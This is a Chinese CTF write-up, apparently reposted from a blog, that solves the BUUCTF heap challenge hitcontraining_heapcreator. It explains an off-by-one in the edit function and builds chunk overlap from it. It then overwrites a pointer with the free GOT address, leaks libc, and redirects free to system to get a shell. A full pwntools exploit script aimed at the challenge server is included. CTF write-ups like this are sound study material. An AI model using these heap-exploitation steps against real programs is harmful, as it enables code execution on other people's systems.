其他分享
首页 > 其他分享> > [BUUCTF]刷题记录:hitcontraining_heapcreator

[BUUCTF]刷题记录:hitcontraining_heapcreator

作者:互联网

hitcontraining_heapcreator

1.checksec:

2.运行一下:

有四个功能,

3.ida分析:

1.mian函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[8]; // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);                    // 初始化
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  while ( 1 )
  {
    menu();
    read(0, buf, 4uLL);
    switch ( atoi(buf) )
    {
      case 1:
        create_heap();
        break;
      case 2:
        edit_heap();
        break;
      case 3:
        show_heap();
        break;
      case 4:
        delete_heap();
        break;
      case 5:
        exit(0);
      default:
        puts("Invalid Choice");
        break;
    }
  }
}

2.menu(菜单):

int menu()
{
  puts("--------------------------------");
  puts("          Heap Creator          ");
  puts("--------------------------------");
  puts(" 1. Create a Heap               ");
  puts(" 2. Edit a Heap                 ");
  puts(" 3. Show a Heap                 ");
  puts(" 4. Delete a Heap               ");
  puts(" 5. Exit                        ");
  puts("--------------------------------");
  return printf("Your choice :");
}

3.create_heap函数:

创建堆块

unsigned __int64 create_heap()
{
  __int64 v0; // rbx
  int i; // [rsp+4h] [rbp-2Ch]
  size_t size; // [rsp+8h] [rbp-28h]
  char buf[8]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v5; // [rsp+18h] [rbp-18h]

  v5 = __readfsqword(0x28u);
  for ( i = 0; i <= 9; ++i )
  {
    if ( !*(&heaparray + i) )                   // 如果heaparray[i]没有指向堆块就申请一个0x20的chunk,让heaparray[i]指向这个chunk
    {
      *(&heaparray + i) = malloc(0x10uLL);
      if ( !*(&heaparray + i) )
      {
        puts("Allocate Error");
        exit(1);
      }
      printf("Size of Heap : ");
      read(0, buf, 8uLL);                       // 输入堆块的size,heaparray[i][1],也就是上面malloc的0x10的第2个字长处,让它指向一个新申请的大小为size的chunk
      size = atoi(buf);
      v0 = *(&heaparray + i);
      *(v0 + 8) = malloc(size);
      if ( !*(*(&heaparray + i) + 1) )
      {
        puts("Allocate Error");
        exit(2);
      }
      **(&heaparray + i) = size;                // heaparray[i][1],也就是0x10的第1个字长存储第2个申请的chunk的size.
      printf("Content of heap:");
      read_input(*(*(&heaparray + i) + 1), size);// 往第2个堆块里输入数据
      puts("SuccessFul");
      return __readfsqword(0x28u) ^ v5;
    }
  }
  return __readfsqword(0x28u) ^ v5;
}

4.edit_heap函数:

编辑堆块,存在off by one漏洞

unsigned __int64 edit_heap()
{
  int v1; // [rsp+Ch] [rbp-14h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index :");
  read(0, buf, 4uLL);                           // 根据index给chunk编辑
  v1 = atoi(buf);
  if ( v1 < 0 || v1 > 9 )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *(&heaparray + v1) )
  {
    printf("Content of heap : ");
    read_input(*(*(&heaparray + v1) + 1), **(&heaparray + v1) + 1LL);// 这里**(&heaparray + v1) + 1LL表面可以输入chunk的size+1的数据,纯在off by one漏洞。
    puts("Done !");
  }
  else
  {
    puts("No such heap !");
  }
  return __readfsqword(0x28u) ^ v3;
}

5.show_heap函数:

输出堆块的数据和size

unsigned __int64 show_heap()
{
  int v1; // [rsp+Ch] [rbp-14h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index :");                            // 根据index来show
  read(0, buf, 4uLL);
  v1 = atoi(buf);
  if ( v1 < 0 || v1 > 9 )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *(&heaparray + v1) )
  {
    printf("Size : %ld\nContent : %s\n", **(&heaparray + v1), *(*(&heaparray + v1) + 1));// 输出堆块的size和content
    puts("Done !");
  }
  else
  {
    puts("No such heap !");
  }
  return __readfsqword(0x28u) ^ v3;
}

6.delete_heap函数:

将堆块free掉,并置零。

unsigned __int64 delete_heap()
{
  int v1; // [rsp+Ch] [rbp-14h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index :");                            // 根据index来free堆块
  read(0, buf, 4uLL);
  v1 = atoi(buf);
  if ( v1 < 0 || v1 > 9 )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *(&heaparray + v1) )
  {
    free(*(*(&heaparray + v1) + 1));            // 这里会把一次申请的两个chunk都free掉
    free(*(&heaparray + v1));
    *(&heaparray + v1) = 0LL;                   // free掉后回清0,没有uaf
    puts("Done !");
  }
  else
  {
    puts("No such heap !");
  }
  return __readfsqword(0x28u) ^ v3;
}

4.利用思路:

1.第一步:

首先分别add 4个分别为0x18,0x10,0x10,0x10的堆块,这样就有1个0x18,7个0x10的堆块了,其中chunk3中写入的'/bin/sh\x00'后面要利用到,chunk0申请为0x18的原因是,这样申请,chunk0申请了一个0x18的堆块,但拿到了一个size=0x20的堆块,写入数据时只往本堆块写入0x10,下个chunk的prev_size域来补足这0x8,这样就可以溢出到下一个chunk的prev_size,然后再溢出1字节,利用off by one修改下一个chunk的size,触发chunk overlap。

add(0x18,'hhhh')#chunk0
add(0x10,'aaaa')#chunk1
add(0x10,'pppp')#chunk2
add(0x10,b'/bin/sh\x00')#chunk3

pwndbg> x/36gx 0x240f000 
0x240f000:	0x0000000000000000	0x0000000000000021 #chunk00
0x240f010:	0x0000000000000018	0x000000000240f030 #chunk0的size和content存放地址
0x240f020:	0x0000000000000000	0x0000000000000021 #chunk0
0x240f030:	0x0000000068686868	0x0000000000000000 #hhhh
0x240f040:	0x0000000000000000	0x0000000000000021 #chunk11
0x240f050:	0x0000000000000010	0x000000000240f070 #chunk1的size和content存放地址
0x240f060:	0x0000000000000000	0x0000000000000021 #chunk1
0x240f070:	0x0000000061616161	0x0000000000000000 #aaaa
0x240f080:	0x0000000000000000	0x0000000000000021 #chunk22
0x240f090:	0x0000000000000010	0x000000000240f0b0 #chunk2的size和content存放地址
0x240f0a0:	0x0000000000000000	0x0000000000000021 #chunk2
0x240f0b0:	0x0000000070707070	0x0000000000000000 #pppp
0x240f0c0:	0x0000000000000000	0x0000000000000021 #chunk3
0x240f0d0:	0x0000000000000010	0x000000000240f0f0 #chunk3的size和content存放地址
0x240f0e0:	0x0000000000000000	0x0000000000000021 #chunk3
0x240f0f0:	0x0068732f6e69622f	0x0000000000000000 #/bin/sh\x00
0x240f100:	0x0000000000000000	0x0000000000020f01
0x240f110:	0x0000000000000000	0x0000000000000000

2.第二步:

利用 off by one 修改chunk11的的size,并把chunk11 free掉

payload1=b'a'*0x18+p8(0x81)
edit(0,payload1)
delete(1)

成功修改chunk11的size,并free掉,触发chunk overlap。得到fake_chunk

pwndbg> x/36gx 0x1a6e000
0x1a6e000:	0x0000000000000000	0x0000000000000021
0x1a6e010:	0x0000000000000018	0x0000000001a6e030
0x1a6e020:	0x0000000000000000	0x0000000000000021
0x1a6e030:	0x6161616161616161	0x6161616161616161
0x1a6e040:	0x6161616161616161	0x0000000000000081 #chunk11的size修改成功
0x1a6e050:	0x0000000000000000	0x0000000001a6e070
0x1a6e060:	0x0000000000000000	0x0000000000000021
0x1a6e070:	0x0000000000000000	0x0000000000000000
0x1a6e080:	0x0000000000000000	0x0000000000000021
0x1a6e090:	0x0000000000000010	0x0000000001a6e0b0
0x1a6e0a0:	0x0000000000000000	0x0000000000000021
0x1a6e0b0:	0x0000000070707070	0x0000000000000000
0x1a6e0c0:	0x0000000000000000	0x0000000000000021
0x1a6e0d0:	0x0000000000000010	0x0000000001a6e0f0
0x1a6e0e0:	0x0000000000000000	0x0000000000000021
0x1a6e0f0:	0x0068732f6e69622f	0x0000000000000000
0x1a6e100:	0x0000000000000000	0x0000000000020f01
0x1a6e110:	0x0000000000000000	0x0000000000000000					

3.第三步:

重新申请fake_chunk,并堆溢出修改chunk22中存放的chunk2地址为free_got地址

size=0x8
payload2=b'a'*0x40+p64(size)+p64(elf.got["free"])
add(0x70,payload2)
pwndbg> x/36gx 0x1dc7000
0x1dc7000:	0x0000000000000000	0x0000000000000021
0x1dc7010:	0x0000000000000018	0x0000000001dc7030
0x1dc7020:	0x0000000000000000	0x0000000000000021
0x1dc7030:	0x6161616161616161	0x6161616161616161
0x1dc7040:	0x6161616161616161	0x0000000000000081
0x1dc7050:	0x6161616161616161	0x6161616161616161
0x1dc7060:	0x6161616161616161	0x6161616161616161
0x1dc7070:	0x6161616161616161	0x6161616161616161
0x1dc7080:	0x6161616161616161	0x6161616161616161
0x1dc7090:	0x0000000000000008	0x0000000000602018 #成功修改为free_got地址
0x1dc70a0:	0x0000000000000000	0x0000000000000021
0x1dc70b0:	0x0000000070707070	0x0000000000000000
0x1dc70c0:	0x0000000000000000	0x0000000000000021
0x1dc70d0:	0x0000000000000010	0x0000000001dc70f0
0x1dc70e0:	0x0000000000000000	0x0000000000000021
0x1dc70f0:	0x0068732f6e69622f	0x0000000000000000
0x1dc7100:	0x0000000000000000	0x0000000000020f01
0x1dc7110:	0x0000000000000000	0x0000000000000000

4.第四步:

通过show(2),输出chunk22里指向的free_got里的free函数地址,用这个地址泄漏libc,并计算得到system的地址

show(2)
io.recvuntil("Content : ")
free_addr=u64(io.recvuntil("Done")[:-5].ljust(8,b'\x00'))
libc=LibcSearcher("free",free_addr)
libc_base=free_addr-libc.dump("free")
system=libc_base+libc.dump("system")

成功泄漏libc地址。

5.第五步:

修改free_got为system的地址,free chunk3,利用之前写好的"/bin/sh\x00",执行free("/bin/sh\x00"),由于free_got被修改为system的地址,

所以这里执行sysytem("/bin/sh\x00"),拿到shell.

payload3=p64(system)
edit(2,payload3)
delete(3)
pwndbg> x/20gx 0x602018
0x602018:	0x00007f10ea68c3a0	0x00000000004006a6 #修改为system的地址
0x602028:	0x00007f10ea6b66a0	0x00000000004006c6
0x602038:	0x00007f10ea69c810	0x00007f10ea73e350
0x602048:	0x00007f10ea667750	0x00007f10ea6cb180
0x602058:	0x00007f10ea6b6e80	0x00007f10ea67de90
0x602068:	0x0000000000400736	0x0000000000000000
0x602078:	0x0000000000000000	0x00007f10eaa0c620
0x602088:	0x0000000000000000	0x00007f10eaa0b8e0

拿到shell

6.exp:

![cc11a (7)](E:\CTFALL\PWNWP\hitcontraining_heapcreator\hitcontraining_heapcreator.assets\cc11a (7).png)from pwn import *
from LibcSearcher import *
context.log_level="debug"
#io=process("heapcreator")
io=remote("node4.buuoj.cn",26449)
elf=ELF("heapcreator")
def add(size,content):
    io.recvuntil("Your choice :")
    io.sendline("1")
    io.recvuntil("Size of Heap : ")
    io.sendline(str(size))
    io.recvuntil("Content of heap:")
    io.send(content)

def edit(index,content):
    io.recvuntil("Your choice :")
    io.sendline("2")
    io.recvuntil("Index :")
    io.sendline(str(index))
    io.recvuntil("Content of heap : ")
    io.send(content)

def show(index):
    io.recvuntil("Your choice :")
    io.sendline("3")
    io.recvuntil("Index :")
    io.sendline(str(index))

def delete(index):
    io.recvuntil("Your choice :")
    io.sendline("4")
    io.recvuntil("Index :")
    io.sendline(str(index))

add(0x18,'hhhh')
add(0x10,'aaaa')
add(0x10,'pppp')
add(0x10,b'/bin/sh\x00')

payload1=b'a'*0x18+p8(0x81)
edit(0,payload1)
delete(1)

size=0x8
payload2=b'a'*0x40+p64(size)+p64(elf.got["free"])
add(0x70,payload2)

show(2)
io.recvuntil("Content : ")
free_addr=u64(io.recvuntil("Done")[:-5].ljust(8,b'\x00'))
libc=LibcSearcher("free",free_addr)
libc_base=free_addr-libc.dump("free")
system=libc_base+libc.dump("system")
print("libc_base:",end='')
print(hex(libc_base))

payload3=p64(system)
edit(2,payload3)
delete(3)
#gdb.attach(io)
#pause()

io.interactive()

7.拿到flag:

标签:BUUCTF,v1,free,0x0000000000000021,hitcontraining,io,0x0000000000000000,heapcreat
来源: https://www.cnblogs.com/happynoy/p/16272767.html